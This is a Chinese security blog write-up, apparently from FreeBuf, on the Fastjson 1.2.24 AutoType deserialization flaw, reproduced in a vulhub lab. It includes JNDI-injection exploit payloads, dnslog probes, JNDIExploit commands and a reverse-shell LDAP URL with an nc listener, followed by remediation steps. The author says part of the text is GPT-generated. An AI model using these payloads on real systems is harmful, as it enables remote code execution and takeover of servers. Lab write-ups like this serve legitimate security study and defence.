freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

FastJson漏洞原理及利用
2024-04-14 15:15:37

漏洞复现靶场来自vulhub/fastjson 1.2.24

原文来自https://www.why403.cn/archives/3493

Fastjson简介

Fastjson是阿里巴巴开发的一个Java语言编写的高性能JSON库,用于将数据在Json和Java Object之间相互转换。它提供了两个主要接口:JSON.toJSONString和 JSON.parseObject/JSON.parse,分别实现序列化和反序列化。

AutoType功能

AutoType功能是Fastjson库中的一个特性,它允许在序列化和反序列化过程中指定或识别对象的具体类型。这个功能通常在序列化时通过添加@type字段来实现,以便在反序列化时能够正确地重建对象的类型信息。

下面是一个使用AutoType功能的示例:

序列化阶段

假设我们有一个User类,它具有两个属性:usernamepassword

public class User {
    private String username;
    private String password;

    // 构造函数、getter和setter方法
    public User(String username, String password) {
        this.username = username;
        this.password = password;
    }

    public String getUsername() {
        return username;
    }

    public void setUsername(String username) {
        this.username = username;
    }

    public String getPassword() {
        return password;
    }

    public void setPassword(String password) {
        this.password = password;
    }
}

现在,我们创建一个User对象,并使用Fastjson将其序列化为JSON字符串,同时指定要将类名写入到序列化数据中:

User user = new User("Alice", "password123");
String jsonString = JSON.toJSONString(user, SerializerFeature.WriteClassName);

这将生成一个包含@type字段的JSON字符串,例如:

{"@type":"com.example.User","password":"password123","username":"Alice"}

反序列化阶段

接下来,我们使用Fastjson将上述JSON字符串反序列化回User对象:

User parsedUser = JSON.parseObject(jsonString, User.class);

在这个过程中,Fastjson会查看JSON字符串中的@type字段,并根据该字段指定的类型信息来重建User对象。即使在JSON字符串中没有提供完整的类路径信息,由于@type字段的存在,Fastjson也能够正确地识别对象类型并进行反序列化。

这就是AutoType功能的一个典型应用场景,它使得序列化和反序列化过程中的对象类型信息得以保留和识别,从而确保对象能够被正确地处理。然而,这个特性也可能导致安全漏洞,如果恶意用户能够控制JSON数据,他们可能会利用AutoType功能来执行不安全的反序列化操作。因此,在使用Fastjson进行序列化和反序列化时,应当注意相关的安全风险,并采取适当的防护措施。

所以Fastjson产生漏洞的关键就在于@type的可控性,攻击者只用将@type指定为一个特定且服务端可以使用的类,就能达到攻击者想要的结果。所以Fastjson漏洞任然是Java反序列化漏洞

漏洞原理

Fastjson的反序列化漏洞主要存在于其处理带有@type字段的JSON字符串时。@type字段用于标识JSON字符串中的某个属性是一个Java对象的类型。当Fastjson在反序列化过程中遇到@type字段时,它会根据该字段的值来确定反序列化后的Java对象的类型,并调用这个类的setter方法。既然这样就可以在@type中指定特定的java类,这个java类我们可以利用来构造恶意代码。

漏洞利用思路

到这里就出现了三个问题:

  • 如果服务端没有我们可以构造恶意代码的java类怎么办?
  • 我们应该选用什么java类来构造恶意代码呢?
  • 哪些已有类的setter方法可以被我们所利用?

如果服务端没有我们可以构造恶意代码的java类怎么办?

既然服务端没有我们可以利用的java类就可以从外站调用我们自己构造好的类,这里类似于XSS的利用,从一个我们自己搭建的服务器在入恶意代码运行

根据上述三个问题以下是一些常被用于构造java反序列化漏洞利用的类

攻击者可以通过构造特定的JSON字符串来执行任意代码。以下是一些经常被用于构造Fastjson反序列化漏洞攻击的Java类:

  • com.sun.rowset.JdbcRowSetImpl:这个类是Fastjson反序列化漏洞中最常被利用的类之一。它有一个dataSourceName属性,该属性可以被用来构造JNDI注入攻击,通过访问远程RMI或LDAP服务器来执行恶意代码。
  • com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl:这个类与XSLT处理相关,攻击者可以利用它来执行恶意的XSLT转换,从而触发代码执行。
  • org.apache.shiro.jndi.JndiObjectFactory:这个类是Apache Shiro框架中的一个类,可以被用来进行JNDI注入攻击,类似于com.sun.rowset.JdbcRowSetImpl的使用方式。
  • java.lang.Class:通过java.lang.Class类,攻击者可以尝试加载并实例化恶意类,这通常涉及到利用黑名单绕过技术。
  • java.net.URLjava.net.Inet4Addressjava.net.Inet6Address:这些类可以被用来构造支付负载,通过DNS日志或远程服务器地址的查询来进行漏洞验证和攻击
  • java.lang.Runtime:可以用于执行系统命令。
  • java.lang.ProcessBuilder:可以用于执行系统命令,并且可以设置环境变量等参数。
  • java.net.URLClassLoader:可以用于动态加载类文件,从而执行任意代码。
  • java.lang.reflect.Proxy:可以用于创建动态代理对象,从而执行任意代码。

这里提供一种思路也是最常用的思路——构造JNDI注入

利用com.sun.rowset.JdbcRowSetImpl类构造JNDI注入攻击,通过访问远程RMI或LDAP服务器来执行恶意代码。

利用过程

在fastjson中我们使用JdbcRowSetImpl进行反序列化的攻击,我们给此类中的setDataSourcesName输入恶意内容(rmi链接或ldap链接),让目标服务在反序列化的时候,请求rmi服务器,执行ldap服务器下发的命令,从而导致远程命令执行漏洞

漏洞验证

Fastjson漏洞利用常用pochttps://github.com/safe6Sec/Fastjson

dnslog测试漏洞

{"a":{"@type":"java.net.InetSocketAddress"{"address":,"val":"63irw2.dnslog.cn"}}} // Fastjson<=1.2.68
{"a":{{"@type":"java.net.URL","val":"http://dnslog.com"}:"a"}}  // Fastjson<=1.2.24

漏洞利用

Fastjson反序列化漏洞利用EXP

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://10.10.10.1:1389/Exploit","autoCommit":true}

相当于构造了JNDI注入漏洞

JNDI

JNDI,即Java Naming and Directory Interface(Java命名和目录接口),是一个Java平台的API,它提供了一种统一的客户端API,允许Java应用程序与各种命名和目录服务进行交互。JNDI的核心作用是使得应用程序能够查找和访问各种资源,如数据库、消息队列、远程对象等,而无需关心这些资源的具体位置或实现细节。

JNDI注入

JNDI是Java提供的一个API,用于访问各种命名和目录服务。它允许应用程序通过名称来查找对象,而不需要关心对象的具体位置或实现细节。JNDI注入漏洞通常发生在应用程序使用JNDI API进行远程查找(Lookup)时,如果查找的参数(通常是一个URL)可以被外部控制或注入,攻击者就可以利用这个漏洞来指定恶意的资源,导致应用程序加载并执行攻击者指定的代码。

利用工具

JNDIExploit-1.4-SNAPSHOT.jar

查看可以执行的payload

java -jar JNDIExploit-1.4-SNAPSHOT.jar -i 10.10.10.1 -u

漏洞利用-1

尝试在/tmp下创建文件

将命令echo 'vulnhub' > /tmp/2.txtbase64编码

构造第三方恶意方法:
建立监听 java -jar JNDIExploit-1.4-SNAPSHOT.jar -i 10.10.10.1

复制构造好的payload到EXP中发送,可以在JNDIExploit日志中看到接收到靶机发送过来的方法请求,并将命令base64解码,将恶意方法发送回靶机让其执行

在docker控制台中看到新增文件2.txt

漏洞利用-2

反弹shell

kali 建立监听

nc -lvnp 7777

利用payload

ldap://10.10.10.1:1389/Basic/ReverseShell/10.10.10.128/7777kali成功监听到反弹shell

漏洞修复

  1. 升级到最新版本:官方推荐的做法是升级到Fastjson的最新版本,因为新版本通常会修复已知的安全漏洞。例如,针对1.2.80及以下版本的漏洞,官方建议升级到1.2.83版本。新版本中,官方已经更新了autotype安全黑名单,并修复了相关漏洞。

  2. 开启SafeMode:Fastjson 1.2.68版本引入了safeMode配置,用户可以通过开启SafeMode来提高安全性。开启safeMode后,无论白名单和黑名单,都不支持autoType,这可以有效防止通过autoType执行恶意反序列化操作。但需要注意的是,开启safeMode可能会对业务产生影响,因此在操作前应进行充分的评估和测试。

  3. 使用fastjson v2:Fastjson已经开源了2.0版本,该版本在安全性上做了大幅提升,不再为了兼容提供白名单,并且代码已经重写,性能得到了提升。但由于不完全兼容1.x版本,升级到v2需要进行认真的兼容测试。

  4. 配置WAF防护:对于使用华为云WAF的用户,可以通过将“Web基础防护”状态设置为“拦截”模式来防御Fastjson漏洞,具体配置方法可以参考官方文档。

  5. 关闭autoType功能:如果暂时无法升级Fastjson版本,可以通过关闭autoType功能来降低风险。autoType功能允许在反序列化时动态确定对象类型,但这也增加了安全风险。关闭该功能可以避免潜在的反序列化漏洞。

  6. 备份与测试:在进行任何修复措施之前,应该备份相关数据和配置。同时,所有的修复措施都应该在测试环境中先行验证,确保不会对生产环境造成不利影响。

  7. 安全加固措施:除了上述措施外,还应采取其他安全加固措施,如限制外部输入、加强网络隔离、定期进行安全审计等。

  8. 替换方案:如果Fastjson的安全性问题无法得到有效解决,或者升级过程中遇到不可克服的兼容性问题,可以考虑使用其他JSON处理库作为替代,如Gson等。

总之,修复Fastjson漏洞需要综合考虑当前系统的具体情况,采取合适的修复措施,并进行充分的测试和验证,以确保系统的安全性和稳定性。同时,保持对Fastjson官方更新的关注,及时跟进最新的安全动态和修复建议。

部分内容又GPT生成欢迎评论区纠正补充

# 漏洞 # web安全 # 反序列化漏洞 # Fastjson反序列化漏洞
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录